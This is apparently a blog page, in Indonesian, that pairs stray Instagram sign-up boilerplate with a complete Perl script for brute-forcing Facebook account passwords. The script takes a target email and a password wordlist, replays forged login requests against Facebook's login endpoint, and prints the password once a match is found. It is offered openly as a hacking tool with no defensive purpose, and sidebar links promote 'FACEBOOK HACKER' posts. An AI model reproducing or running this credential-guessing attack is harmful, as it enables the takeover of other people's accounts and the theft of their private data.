Langsung ke konten utama

Instagram

Sign up to see photos and videos from your friends.


OR
By signing up, you agree to our Terms & Privacy Policy.
Have an account? Log in
Get the app.
Available on the App StoreAvailable on Google Play

© 2017 INSTAGRAM
Instagram Sign up to see photos and videos from your friends. Log in with Facebook OR Mobile Number or Email Full Name Username Password Sign up By signing up, you agree to our Terms & Privacy Policy. Have an account? Log in Get the app. Available on the App Store Available on Google Play ABOUT USSUPPORTBLOGPRESSAPIJOBSPRIVACYTERMSDIRECTORYLANGUAGE © 2017 INSTAGRAM #!/usr/bin/perl # use strict; use Net::SSLeay::Handle; if(!defined($ARGV[0] && $ARGV[1])) { system('clear'); print "\n"; print " ____ ___ ____ ___ _ _ _ _ _ _ \n"; print " / ___|( _ )| __|| |( ) / ) / ) / ) | ) | |\n"; print " (___ || ||| |_ | | ( V ) / _ ) / _ ) | )| |\n"; print " ___)|||_||| _| | | | | / ___ ) / ___ ) | |( |\n"; print " |____)(___)|_| |___| |_|/_/ (_)(_/ )_)|_| (_|\n"; print "\033[1;32m ======================================================\n"; print "\033[1;32m Usage: perl $0 Email wordlist.txt\n"; print "\033[1;32m ======================================================\n"; exit; } my $user = $ARGV[0]; my $wordlist = $ARGV[1]; open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n"; print "\n"; print " ____ ___ ____ ___ _ _ _ _ _ _ \n"; print " / ___|( _ )| __|| |( ) / ) / ) / ) | ) | |\n"; print " (___ || ||| |_ | | ( V ) / _ ) / _ ) | )| |\n"; print " ___)|||_||| _| | | | | / ___ ) / ___ ) | |( |\n"; print " |____)(___)|_| |___| |_|/_/ (_)(_/ )_)|_| (_|\n"; print "\033[1;32m ========================================================\n"; print "\033[1;32m Subscribe to My Channel: \n"; print "\033[1;32m https://www.youtube.com/channel/UCQlUztxzu-hzYtlgsF3wMew \n"; print "\033[1;32m For More Lastest Updates \n"; print "\033[1;32m ========================================================\n"; print "\033[1;32m\n [+] Brute Force Attacking on: $user ...\n\n"; print "=======================================\n"; while (my $password = ) { chomp ($password); $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg; my $a = "POST /login.php HTTP/1.1"; my $b = "Host: www.facebook.com"; my $c = "Connection: close"; my $e = "Cache-Control: max-age=0"; my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; my $g = "Origin: https://www.facebook.com"; my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"; my $i = "Content-Type: application/x-www-form-urlencoded"; my $j = "Accept-Encoding: gzip,deflate,sdch"; my $k = "Accept-Language: en-US,en;q=0.8"; my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3"; my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa"; my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In"; my $cl = length($post); my $d = "Content-Length: $cl"; my ($host, $port) = ("www.facebook.com", 443); tie(*SSL, "Net::SSLeay::Handle", $host, $port); print SSL "$a\n"; print SSL "$b\n"; print SSL "$c\n"; print SSL "$d\n"; print SSL "$e\n"; print SSL "$f\n"; print SSL "$g\n"; print SSL "$h\n"; print SSL "$i\n"; print SSL "$j\n"; print SSL "$k\n"; print SSL "$l\n"; print SSL "$cookie\n\n"; print SSL "$post\n"; my $success; while(my $result = ){ if($result =~ /Location(.*?)/){ $success = $1; } } if (!defined $success) { print "\033[1;31m[-] $password ->its not match \n"; close SSL; } else { print "\033[1;32m\n########################################################\n"; print "[+] \033[1;32mPasswd match found: $password\n"; print "\033[1;32m########################################################\n\n"; close SSL; exit; } }

Komentar

Postingan populer dari blog ini

FACEBOOK HACKER

Cheat Gta Extreme

Cheat Gta Extreme Indonesia dan Gta Sandreas